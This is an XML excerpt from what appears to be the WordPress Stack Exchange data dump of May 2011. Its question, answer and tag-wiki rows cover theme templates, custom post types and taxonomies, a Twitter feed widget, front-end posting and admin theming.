  <row Id="18153" PostTypeId="2" ParentId="18141" CreationDate="2011-05-24T22:01:35.733" Score="0" ViewCount="" Body="&lt;p&gt;Using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_pages&quot; rel=&quot;nofollow&quot;&gt;wp_list_pages&lt;/a&gt; you can sort order only by:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;'post_title'&lt;/li&gt;&#xA;&lt;li&gt;'menu_order'&lt;/li&gt;&#xA;&lt;li&gt;'post_date'&lt;/li&gt;&#xA;&lt;li&gt;'post_modified'&lt;/li&gt;&#xA;&lt;li&gt;'ID'&lt;/li&gt;&#xA;&lt;li&gt;'post_author'&lt;/li&gt;&#xA;&lt;li&gt;'post_name'&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;anything else (like order by custom menu order) you would have to write your own function.&#xA;But a better way to get it done would be to create a custom walker for it so you could control the output.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-24T22:01:35.733" />
  <row Id="18154" PostTypeId="1" AcceptedAnswerId="18158" CreationDate="2011-05-24T22:07:14.507" Score="2" ViewCount="689" Body="&lt;p&gt;I'm new to Wordpress and I'm trying to edit the Twenty Ten theme so that my template for basic pages (basic-template.php) does not show the comments box. I do want the comments box to show up on other pages, such as blog posts. I'm pretty sure that changes need to be made in loop.php, but my doesn't seem to be having the right effect. For the comments box, I edited:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php comments_template( '', true ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to be as follows.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;wp_reset_query();&#xA;if ( is_page_template(‘basic-template.php’) ) {&#xA;comments_template();&#xA;} else {&#xA;comments_template( '', true );&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I get rid of the else statement, the comments disappear, so I think the problem is my code for that part. Any advice would be much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="5616" LastActivityDate="2011-06-01T07:47:45.843" Title="How can I edit the Twenty Ten Theme to remove the comments box when a page uses a specific template?" Tags="&lt;comments&gt;&lt;theme-twenty-ten&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="18155" PostTypeId="2" ParentId="18144" CreationDate="2011-05-24T22:10:23.093" Score="1" ViewCount="" Body="&lt;p&gt;When i first used it I followed  the tuts up ate YouTube, here are a few good ones that I have bookmarked:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=hqCtIWmkyfo&quot; rel=&quot;nofollow&quot;&gt;Installing and Setting up WP-eCommerce WordPress Plugin - Pt: 1&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=Ea9uIbMDK38&quot; rel=&quot;nofollow&quot;&gt;Installing and Setting up WP-eCommerce WordPress Plugin - Pt: 2&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/user/RoseAppleMedia&quot; rel=&quot;nofollow&quot;&gt;profile with helpful videos&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-24T22:10:23.093" CommentCount="2" />
  <row Id="18156" PostTypeId="2" ParentId="18150" CreationDate="2011-05-24T22:13:21.907" Score="0" ViewCount="" Body="&lt;p&gt;You can't run JavaScript inside a PHP file, you need to echo it out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if (is_user_logged_in() ) {&#xA; // display page &#xA; } else {&#xA;  ?&amp;gt;&#xA;  &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;     jQuery(document).ready(function() {&#xA;     jQuery('.simplemodal-login').trigger('click.simplemodal-login');&#xA;    });&#xA; &amp;lt;/script&amp;gt;&#xA; &amp;lt;?php&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-24T22:13:21.907" CommentCount="1" />
  <row Id="18157" PostTypeId="2" ParentId="18151" CreationDate="2011-05-24T22:18:33.433" Score="1" ViewCount="" Body="&lt;p&gt;here is an idea,&#xA;create a custom post type say &lt;code&gt;downloads&lt;/code&gt; with rewrite slug &lt;code&gt;projects/downloads&lt;/code&gt; and then each download as a new post of downloads custom post type.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-24T22:18:33.433" CommentCount="4" />
  <row Id="18158" PostTypeId="2" ParentId="18154" CreationDate="2011-05-24T22:21:12.607" Score="0" ViewCount="" Body="&lt;p&gt;You can turn off the discussion per post/page when you're creating new posts/pages. this option is usually below the text editor and is often hidden. In order to bring it up, you might have to click on &quot;Screen Options&quot; at the top of the page and check the box next to &quot;Discussion&quot;&lt;/p&gt;&#xA;" OwnerUserId="5295" LastActivityDate="2011-05-24T22:21:12.607" CommentCount="1" />
  <row Id="18159" PostTypeId="1" AcceptedAnswerId="18172" CreationDate="2011-05-24T22:32:17.420" Score="3" ViewCount="274" Body="&lt;p&gt;I have three custom post types, each with around 5 taxonomies and 2 of the custom post types share two taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've just about got everything set up for posting from the front end other than the part of a dropdown to show the post_types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it is now front end posting works but, the urls are broken because they dont have the custom post type in them, i've searched all over and can find zero on listing custom post types... can it be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;Martin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit:  Just stumbled upon this &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_types&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;over at codex&lt;/strong&gt;&lt;/a&gt;,,  &lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditorDisplayName="" LastEditDate="2011-05-24T22:38:44.687" LastActivityDate="2011-05-24T23:53:00.237" Title="List custom post types in dropdown" Tags="&lt;custom-post-types&gt;&lt;dropdown&gt;&lt;frontend&gt;&lt;posting&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" />
  <row Id="18160" PostTypeId="1" CreationDate="2011-05-24T22:32:40.373" Score="1" ViewCount="107" Body="&lt;p&gt;I am displaying a twitter feed on my homepage:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.fairwaterrights.com&quot; rel=&quot;nofollow&quot;&gt;http://www.fairwaterrights.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The feed works fine.  But if I click on a link in the twitter post, it doesn't open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, instead of opening &lt;code&gt;http://bit.ly/lNWyT9&lt;/code&gt; in the browser, it tries to open &lt;code&gt;http://www.fairwaterrights.com/%22http:/bit.ly/lNWyT9%22&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this? Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$username = &quot;fairwaterrights&quot;; // Your twitter username.&#xA;$limit = &quot;4&quot;; // Number of tweets to pull in.&#xA;&#xA;/* These prefixes and suffixes will display before and after the entire block of tweets. */&#xA;$prefix = &quot;&quot;; // Prefix - some text you want displayed before all your tweets.&#xA;$suffix = &quot;&quot;; // Suffix - some text you want displayed after all your tweets.&#xA;$tweetprefix = &quot;@fairwaterrights &quot;; // Tweet Prefix - some text you want displayed before each tweet.&#xA;$tweetsuffix = &quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&quot;; // Tweet Suffix - some text you want displayed after each tweet.&#xA;&#xA;$feed = &quot;http://search.twitter.com/search.atom?q=from:&quot; . $username . &quot;&amp;amp;rpp=&quot; . $limit;&#xA;&#xA;function parse_feed($feed, $prefix, $tweetprefix, $tweetsuffix, $suffix) {&#xA;&#xA;$feed = str_replace(&quot;&amp;amp;lt;&quot;, &quot;&amp;lt;&quot;, $feed);&#xA;$feed = str_replace(&quot;&amp;amp;gt;&quot;, &quot;&amp;gt;&quot;, $feed);&#xA;$clean = explode(&quot;&amp;lt;content type=\&quot;html\&quot;&amp;gt;&quot;, $feed);&#xA;&#xA;$amount = count($clean) - 1;&#xA;&#xA;echo $prefix;&#xA;&#xA;for ($i = 1; $i &amp;lt;= $amount; $i++) {&#xA;$cleaner = explode(&quot;&amp;lt;/content&amp;gt;&quot;, $clean[$i]);&#xA;echo $tweetprefix;&#xA;echo $cleaner[0];&#xA;echo $tweetsuffix;&#xA;}&#xA;&#xA;echo $suffix;&#xA;}&#xA;&#xA;$twitterFeed = file_get_contents($feed);&#xA;parse_feed($twitterFeed, $prefix, $tweetprefix, $tweetsuffix, $suffix);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="5651" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-05-25T00:26:50.917" LastActivityDate="2011-05-25T18:33:48.320" Title="Twitter links in widget don't work?" Tags="&lt;links&gt;&lt;feed&gt;&lt;twitter&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="18161" PostTypeId="1" AcceptedAnswerId="18184" CreationDate="2011-05-24T19:58:44.527" Score="0" ViewCount="84" Body="&lt;p&gt;I'm trying to html5ize a Genesis child theme.  So far I've figured out how to replace the Doctype via hook but am having trouble figuring out how i can change the divs to sections and articles without touching the core files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone point me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="3491" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-25T02:57:18.040" LastActivityDate="2011-05-25T02:57:18.040" Title="Wordpress Genesis Child Theme Filter divs" Tags="&lt;theme-development&gt;&lt;filters&gt;&lt;html5&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="18162" PostTypeId="2" ParentId="18121" CreationDate="2011-05-24T23:16:58.460" Score="1" ViewCount="" Body="&lt;p&gt;Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (current_user_can('edit_post', $post-&amp;gt;ID)) echo &quot;&amp;lt;a href='&quot; . wp_nonce_url(&quot;/wp-admin/post.php?action=delete&amp;amp;amp;post=$id&quot;, 'delete-post_' . $post-&amp;gt;ID) . &quot;'&amp;gt;Delete post&amp;lt;/a&amp;gt;&quot; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can decide when to empty the WordPress trash by adding this code to the wp-config.php file in your WordPress root directory.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('EMPTY_TRASH_DAYS', 1 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The 1 in the code signifies you want to empty the trash everyday. If you set to 0, the trash functionality will be disabled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, WordPress doesn't delete images when they are no longer attached to a page. See this ticket for an explanation: &lt;a href=&quot;http://core.trac.wordpress.org/ticket/12108&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/12108&lt;/a&gt; Gist being that &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;media files may be used by other posts&#xA;  as well, which is why they must be&#xA;  deleted in the media library. If we&#xA;  changed it so that deleting a file&#xA;  from a post deleted it altogether from&#xA;  the system, it would break the&#xA;  existing behavior and cause a lot of&#xA;  unintentional deletions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you want to go against that rational, you can add this to your functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function delete_post_children($post_id) {&#xA;    global $wpdb;&#xA;&#xA;    $ids = $wpdb-&amp;gt;get_col(&quot;SELECT ID FROM {$wpdb-&amp;gt;posts} WHERE post_parent = $post_id AND post_type = 'attachment'&quot;);&#xA;&#xA;    foreach ( $ids as $id )&#xA;        wp_delete_attachment($id);&#xA;}&#xA;add_action('delete_post', 'delete_post_children');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/upload-janitor/&quot; rel=&quot;nofollow&quot;&gt;Also see Upload Janitor&lt;/a&gt; if you want to go the plug-in route for deleting unattached images.&lt;/p&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-05-24T23:16:58.460" />
  <row Id="18163" PostTypeId="1" CreationDate="2011-05-24T23:21:39.280" Score="1" ViewCount="212" Body="&lt;p&gt;Anyone can recognize the current Wordpress backend, but I don't want that. I want to change it using my own design and I want to have a seamless navigating experience for my users. How can I change the dashboard appearance? I googled a lot of posts and questions, and it seems like you can only change the CSS of most things and some people were using hooks to add their own code and what not.&lt;/p&gt;&#xA;" OwnerUserId="5652" LastActivityDate="2011-05-25T03:08:48.930" Title="How can I change the dashboard appearance?" Tags="&lt;dashboard&gt;" AnswerCount="4" FavoriteCount="2" />
  <row Id="18164" PostTypeId="5" CreationDate="2011-05-24T23:25:30.640" Score="0" ViewCount="" Body="&lt;p&gt;With Custom Post Types you can extend the wordpress backend by allowing your editors or yourself more control with categories and types of posts. For example lets say you want to write a post on a particular book. Any normal way you would just add it to the posts or pages and add a tag or category called book. Well what happens if you want to create another post on another book. You would have to do the same. By doing this you mix your other posts with your new posts about books. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So no lets create a new custom post type for books. The code you would use would look like this below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'books' );&#xA;function register_cpt_books() {&#xA;    register_post_type( 'books',&#xA;        array(&#xA;            'labels' =&amp;gt; array(&#xA;                'name' =&amp;gt; __( 'Books' ),&#xA;                'singular_name' =&amp;gt; __( 'Books' )&#xA;            ),&#xA;        'public' =&amp;gt; true,&#xA;        'has_archive' =&amp;gt; true,&#xA;        )&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;*this is the short version&#xA;Or you could add a little bit more info and customization and use this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?&#xA;add_action( 'init', 'register_cpt_book' );&#xA;&#xA;function register_cpt_book() {&#xA;&#xA;$labels = array( &#xA;    'name' =&amp;gt; _x( 'Books', 'book' ),&#xA;    'singular_name' =&amp;gt; _x( 'Book', 'book' ),&#xA;    'add_new' =&amp;gt; _x( 'Add New', 'book' ),&#xA;    'add_new_item' =&amp;gt; _x( 'Add New Book', 'book' ),&#xA;    'edit_item' =&amp;gt; _x( 'Edit Book', 'book' ),&#xA;    'new_item' =&amp;gt; _x( 'New Book', 'book' ),&#xA;    'view_item' =&amp;gt; _x( 'View Book', 'book' ),&#xA;    'search_items' =&amp;gt; _x( 'Search Books', 'book' ),&#xA;    'not_found' =&amp;gt; _x( 'No books found', 'book' ),&#xA;    'not_found_in_trash' =&amp;gt; _x( 'No books found in Trash', 'book' ),&#xA;    'parent_item_colon' =&amp;gt; _x( 'Parent Book:', 'book' ),&#xA;    'menu_name' =&amp;gt; _x( 'Books', 'book' ),&#xA;);&#xA;&#xA;$args = array( &#xA;    'labels' =&amp;gt; $labels,&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'description' =&amp;gt; 'A list of posts about books.',&#xA;    'supports' =&amp;gt; array( 'title', 'editor', 'excerpt', 'author', 'thumbnail', 'trackbacks', 'comments', 'revisions' ),&#xA;    'taxonomies' =&amp;gt; array( 'category', 'post_tag', 'books' ), // See ** for more info&#xA;    'public' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'show_in_menu' =&amp;gt; true,&#xA;&#xA;&#xA;    'show_in_nav_menus' =&amp;gt; true,&#xA;    'publicly_queryable' =&amp;gt; true,&#xA;    'exclude_from_search' =&amp;gt; false,&#xA;    'has_archive' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; true,&#xA;    'can_export' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; true,&#xA;    'capability_type' =&amp;gt; 'post'&#xA;);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;*This version will give your full control&#xA;**Notice books in the taxonomy field above. This allows us to associate a custom taxonomy see this article for more info see &lt;a href=&quot;http://wordpress.stackexchange.com/questions/tagged/custom-taxonomy&quot;&gt;Custom Taxonomy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By creating custom post types you can control your publishing's the way you want instead of downloading a cms application. So take full use of wordpress and there custom post types, custom taxonomy's and custom field's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;This wiki article is best used with the following wiki article as well &lt;a href=&quot;http://wordpress.stackexchange.com/questions/tagged/custom-taxonomy&quot;&gt;Custom Taxonomy&lt;/a&gt;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-05-25T06:59:04.447" LastActivityDate="2011-05-25T06:59:04.447" />
  <row Id="18165" PostTypeId="4" CreationDate="2011-05-24T23:25:30.640" Score="0" ViewCount="" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditorDisplayName="" LastEditDate="2011-05-24T23:25:30.640" LastActivityDate="2011-05-24T23:25:30.640" />
  <row Id="18166" PostTypeId="5" CreationDate="2011-05-24T23:26:09.017" Score="0" ViewCount="" Body="&lt;p&gt;Custom taxonomy's are great when you want to create a list of terms for a specific post type. For example lets say we have a custom post type of books and we want a custom taxonomy to go along with that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;All we have to do is add this code:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?&#xA;add_action( 'init', 'authors_tax_init' );&#xA;&#xA;function authors_tax_init() {&#xA;    // create a author taxonomy&#xA;    register_taxonomy(&#xA;        'author_tax',&#xA;        'books',&#xA;        array(&#xA;            'label' =&amp;gt; __('Author Names'),&#xA;            'sort' =&amp;gt; true,&#xA;            'args' =&amp;gt; array('orderby' =&amp;gt; 'term_order'),&#xA;            'rewrite' =&amp;gt; array('slug' =&amp;gt; 'author_names')&#xA;        )&#xA;    );&#xA;}&#xA;add_action( 'init', 'genre_tax_init' );&#xA;&#xA;function genre_tax_init() {&#xA;    // create a genre taxonomy&#xA;    register_taxonomy(&#xA;        'genre_tax',&#xA;        'books',&#xA;        array(&#xA;            'label' =&amp;gt; __('Genre Types'),&#xA;            'sort' =&amp;gt; true,&#xA;            'args' =&amp;gt; array('orderby' =&amp;gt; 'term_order'),&#xA;            'rewrite' =&amp;gt; array('slug' =&amp;gt; 'genres')&#xA;        )&#xA;    );&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code will create 2 new taxonomy types. One called Author Names and the other for Genre Types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you have to do is insert this into your themes functions.php (create if it does not exisit) or make it a plugin alongside with the custom post types found here &lt;a href=&quot;http://wordpress.stackexchange.com/questions/tagged/custom-post-types&quot;&gt;Custom Post Type Wiki&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;This wiki article is best used with the following wiki article as well &lt;a href=&quot;http://wordpress.stackexchange.com/questions/tagged/custom-post-types&quot;&gt;Custom Post Types&lt;/a&gt;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-05-25T06:59:11.547" LastActivityDate="2011-05-25T06:59:11.547" />
  <row Id="18167" PostTypeId="4" CreationDate="2011-05-24T23:26:09.017" Score="0" ViewCount="" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditorDisplayName="" LastEditDate="2011-05-24T23:26:09.017" LastActivityDate="2011-05-24T23:26:09.017" />
  <row Id="18168" PostTypeId="2" ParentId="18163" CreationDate="2011-05-24T23:31:50.267" Score="0" ViewCount="" Body="&lt;p&gt;what you described above sounds right. Check out the link below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Creating_Admin_Themes&quot; rel=&quot;nofollow&quot;&gt;Creating Admin Themes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-24T23:31:50.267" />
  <row Id="18169" PostTypeId="2" ParentId="18163" CreationDate="2011-05-24T23:32:39.003" Score="1" ViewCount="" Body="&lt;p&gt;You can modify the look and feel of the administration area either via CSS or creating a plugin to do more. There are some really nice admin themes out there that make it less generic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://deanjrobinson.com/projects/fluency-admin/&quot; rel=&quot;nofollow&quot;&gt;Fluency&lt;/a&gt; is an admin theme that I have found is a nice replacement. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details on how to create the admin themes can be found in the codex &lt;a href=&quot;http://codex.wordpress.org/Creating_Admin_Themes&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2011-05-24T23:32:39.003" />
  <row Id="18170" PostTypeId="1" CreationDate="2011-05-24T23:43:15.467" Score="0" ViewCount="35" Body="&lt;p&gt;I am creating an online learning environment using WP. There are classes, and tests. Each class has a test. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The classes and tests are posts divided into categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to:&#xA;Restrict access to the classes and tests unless the user has paid. This restriction is on a per class basis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried s2Member. However, this plugin allows access all access to each paid user. There is no way to only grant access to one section while restricting access to others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for a plugin recommendation because this is my first experience with building a site like this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I have been detailed enough, if not, please let me know what other information I need to post to find the right answer.&lt;/p&gt;&#xA;" OwnerUserId="2883" LastActivityDate="2011-05-24T23:43:15.467" Title="Which one: Shopping Cart or Membership Management plugin?" Tags="&lt;plugin-recommendation&gt;&lt;e-commerce&gt;" FavoriteCount="1" />
  <row Id="18171" PostTypeId="2" ParentId="18160" CreationDate="2011-05-24T23:44:12.437" Score="1" ViewCount="" Body="&lt;p&gt;Try this out. I went through and replaced &lt;code&gt;&quot;&lt;/code&gt; with &lt;code&gt;'&lt;/code&gt;&#xA;    &#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* These prefixes and suffixes will display before and after the entire block of tweets. */&#xA;$prefix = &quot;&quot;; // Prefix - some text you want displayed before all your tweets.&#xA;$suffix = &quot;&quot;; // Suffix - some text you want displayed after all your tweets.&#xA;$tweetprefix = &quot;@fairwaterrights&amp;amp;nbsp;&quot;; // Tweet Prefix - some text you want displayed before each tweet.&#xA;$tweetsuffix = &quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&quot;; // Tweet Suffix - some text you want displayed after each tweet.&#xA;&#xA;$feed = 'http://search.twitter.com/search.atom?q=from:' . $username . '&amp;amp;rpp=' . $limit;&#xA;&#xA;function parse_feed($feed, $prefix, $tweetprefix, $tweetsuffix, $suffix) {&#xA;&#xA;$feed = str_replace('&amp;amp;lt;', '&amp;lt;', $feed);&#xA;$feed = str_replace('&amp;amp;gt;', '&amp;gt;', $feed);&#xA;$clean = explode('&amp;lt;content type=\&quot;html\&quot;&amp;gt;', $feed);&#xA;&#xA;$amount = count($clean) - 1;&#xA;&#xA;echo $prefix;&#xA;&#xA;for ($i = 1; $i &amp;lt;= $amount; $i++) {&#xA;$cleaner = explode('&amp;lt;/content&amp;gt;', $clean[$i]);&#xA;echo $tweetprefix;&#xA;echo $cleaner[0];&#xA;echo $tweetsuffix;&#xA;}&#xA;&#xA;echo $suffix;&#xA;}&#xA;&#xA;$twitterFeed = file_get_contents($feed);&#xA;parse_feed($twitterFeed, $prefix, $tweetprefix, $tweetsuffix, $suffix);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-24T23:44:12.437" CommentCount="1" />
  <row Id="18172" PostTypeId="2" ParentId="18159" CreationDate="2011-05-24T23:53:00.237" Score="3" ViewCount="" Body="&lt;p&gt;Sorry about that feels a bit weird answering ones own question, but here you go....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly declare the variable: (customcategory)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $userdata;&#xA;&#xA;$errors = array();&#xA;&#xA;$title      = trim($_POST['wpuf_post_title']);&#xA;$customcategory      = trim($_POST['customcategory']);&#xA;$content    = trim($_POST['wpuf_post_content']);&#xA;$tags       = wpuf_clean_tags($_POST['wpuf_post_tags']);&#xA;$cat        = trim($_POST['cat']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Secondly the array for adding the post:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if (!$errors) {&#xA;    $frontend_post = array(&#xA;            'post_title'    =&amp;gt; $title,&#xA;            'post_content'  =&amp;gt; $content,&#xA;            'post_status'   =&amp;gt; $post_status,&#xA;            'post_author'   =&amp;gt; $userdata-&amp;gt;ID,&#xA;            'post_category'    =&amp;gt;    array($_POST['cat']),&#xA;            'post_type' =&amp;gt; $customcategory,&#xA;            'tags_input'    =&amp;gt; $tags&#xA;    );&#xA;&#xA;    $post_id = wp_insert_post($frontend_post);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and finally create the dropdrown from the get_post_types function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;          $args=array(&#xA;                     'public'   =&amp;gt; true,&#xA;                     '_builtin' =&amp;gt; false&#xA;                     ); &#xA;                $output = 'names';&#xA;                $operator = 'and';&#xA;                $post_types=get_post_types($args,$output,$operator); &#xA;&#xA;          echo '&amp;lt;select name=&quot;customcategory&quot;&amp;gt;';&#xA;          foreach ($post_types  as $post_type ) {&#xA;          echo '&amp;lt;option value=&quot;'. $post_type.'&quot;&amp;gt;'. $post_type. '&amp;lt;/option&amp;gt;';&#xA;}echo '&amp;lt;/select&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-05-24T23:53:00.237" CommentCount="3" />
  <row Id="18173" PostTypeId="1" CreationDate="2011-05-25T00:01:12.510" Score="0" ViewCount="34" Body="&lt;p&gt;I know I can add a plugin in WordPress on my own hosted server and setup a sitemap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I have a WordPress.com hosted blog, how do I setup a sitemap?&lt;/p&gt;&#xA;" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-05-25T06:59:38.987" LastActivityDate="2011-05-25T06:59:38.987" Title="Sitemap for WordPress.com blog" Tags="&lt;wordpress.com&gt;&lt;blogging&gt;&lt;sitemap&gt;" AnswerCount="1" />
  <row Id="18174" PostTypeId="1" CreationDate="2011-05-25T01:27:46.353" Score="1" ViewCount="81" Body="&lt;p&gt;I have a number of WordPress-enabled sites setup as virtual hosts under XAMPP on a Windows 7 development server.&lt;br/&gt;&#xA;&lt;br/&gt;&#xA;An example virtual host is as follows:&lt;br/&gt;&#xA;&lt;br/&gt;&#xA;&amp;lt;VirtualHost *:80&amp;gt;&lt;br/&gt;&#xA;ServerName siteA.localhost&lt;br/&gt;&#xA;DocumentRoot &quot;C:/htdocs/siteA&quot;&lt;br/&gt;&#xA;&amp;lt;/VirtualHost&amp;gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to have all the sites use the same WordPress install, which is located in it's own folder off the Document Root, ie: &quot;C:/htdocs/wordpress&quot;.&lt;br /&gt;&lt;br /&gt;&#xA;The only WordPress files unique to each virtual host will then be the wp-config.php file and the /wp-content/ folder, which will be located off the root of each site.&lt;br/&gt;&lt;br /&gt;&#xA;Does anyone have any suggestions for how to achieve this? I've tried adding the WordPress folder as an Alias for each Virtual Host, and adding it as &quot;php_value include_path&quot; value for each Virtual Host as well, but neither of these have worked.&lt;br /&gt;&lt;br /&gt;&#xA;Ultimately I want to make it easy to upgrade all my WordPress-powered sites by having them share the same WordPress core.&lt;br /&gt;&lt;br /&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5655" LastActivityDate="2011-07-24T05:27:59.133" Title="One WordPress install serving multiple virtual hosts" Tags="&lt;installation&gt;&lt;development&gt;&lt;multiple&gt;&lt;sharing&gt;" AnswerCount="1" />
  <row Id="18175" PostTypeId="2" ParentId="17224" CreationDate="2011-05-25T01:46:09.467" Score="0" ViewCount="" Body="&lt;p&gt;There ARE hooks available. &lt;a href=&quot;http://wordpress.org/extend/plugins/json-api/other_notes/#Filter:-json_api_controllers&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/json-api/other_notes/#Filter:-json_api_controllers&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2011-05-25T01:46:09.467" CommentCount="1" />
